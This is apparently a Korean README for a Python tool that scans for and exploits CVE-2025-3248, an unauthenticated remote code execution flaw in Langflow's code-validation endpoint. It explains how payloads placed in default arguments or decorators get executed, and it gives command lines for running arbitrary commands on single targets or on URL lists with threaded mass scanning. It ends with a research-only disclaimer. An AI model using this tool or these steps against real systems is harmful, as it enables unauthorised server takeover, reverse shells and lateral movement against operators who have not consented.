bambooqj/cve-2025-3248Langflow가 사용자가 제출한 “검증 코드”를 AST 파싱 및 컴파일할 때, 인증 및 샌드박스 제한 없이 Python의 compile()/exec()를 호출하며(컴파일 단계에서 함수 기본 인자와 데코레이터를 평가함), 공격자는 악성 페이로드를 매개변수 기본값이나 데코레이터에 넣어 서버 컨텍스트에서 임의의 명령문을 실행할 수 있습니다(리버스 셸, 다운로더, 횡적 이동 등).
Langflow 애플리케이션에서 원격 코드 실행(RCE)을 허용하는 CVE-2025-3248 취약점을 스캔하고 악용하기 위한 Python 도구입니다.
pip install requests
python cve-2025-3248.py http://target:port
python cve-2025-3248.py http://target:port -c "id"
python cve-2025-3248.py -f urls.txt
python cve-2025-3248.py -f urls.txt -c "whoami"
python cve-2025-3248.py -f urls.txt -t 20 --timeout 15 -v
url: 대상 URL (예: http://10.10.10.1:7860)-f, --file: URL 목록이 포함된 파일, 각 줄에 하나의 URL-c, --cmd: 실행할 명령 (예: id, whoami)--timeout: 요청 제한 시간, 기본값 10초-t, --threads: 대량 스캔의 스레드 수, 기본값 10-v, --verbose: 상세 모드, 원시 응답 표시python cve-2025-3248.py http://192.168.1.100:7860
python cve-2025-3248.py http://192.168.1.100:7860 -c "ls -la"
targets.txt 파일 생성:
http://192.168.1.100:7860
http://192.168.1.101:7860
http://192.168.1.102:7860
그런 다음 실행:
python cve-2025-3248.py -f targets.txt
python cve-2025-3248.py -f targets.txt -c "uname -a" -t 5
[+] 성공적으로 실행됨[-] 실패 또는 오류[!] 경고 메시지[*] 정보 출력스캔에 성공한 대상은 vulnerable_targets.txt 또는 vulnerable_targets_{command}.txt 파일에 저장됩니다.
이 도구는 보안 연구 및 교육 목적으로만 사용됩니다. 사용자는 자신의 사용 행위에 대한 책임이 있습니다. 승인되지 않은 시스템 테스트는 법률 및 규정을 위반할 수 있습니다.